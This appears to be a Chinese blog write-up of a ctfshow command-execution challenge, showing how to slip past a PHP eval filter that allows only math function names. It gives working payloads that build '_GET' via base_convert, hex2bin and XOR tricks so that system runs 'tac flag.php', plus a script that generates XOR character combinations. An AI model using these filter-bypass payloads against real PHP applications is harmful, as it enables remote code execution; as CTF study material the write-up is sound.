base_convert(37907361743,10,36)  #构造出hex2bin

再利用函数dechex函数十进制转化为十六进制1598506324,构造的流程如下

1
2
3
4
base_convert(37907361743,10,36)(dechex(1598506324));
--> hex2bin(dechex(1598506324));
--> hex2bin(5f474554);
--> _GET

最后构造payload

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php;

($_GET){pi}(($_GET){abs})然后传入内容执行代码

0x02

原题也可以利用getallheaders,但是本题的环境有些变化

0x03

先上payload,看看大佬的思路

1
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=tac flag.php;
1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

这个脚本通过异或可以生成很多的字符,拼接最后就可以得到payload涨知识了


ctfshow命令执行
http://example.com/2024/09/11/每日一题/ctfshow命令执行/
作者
orange
发布于
2024年9月11日
许可协议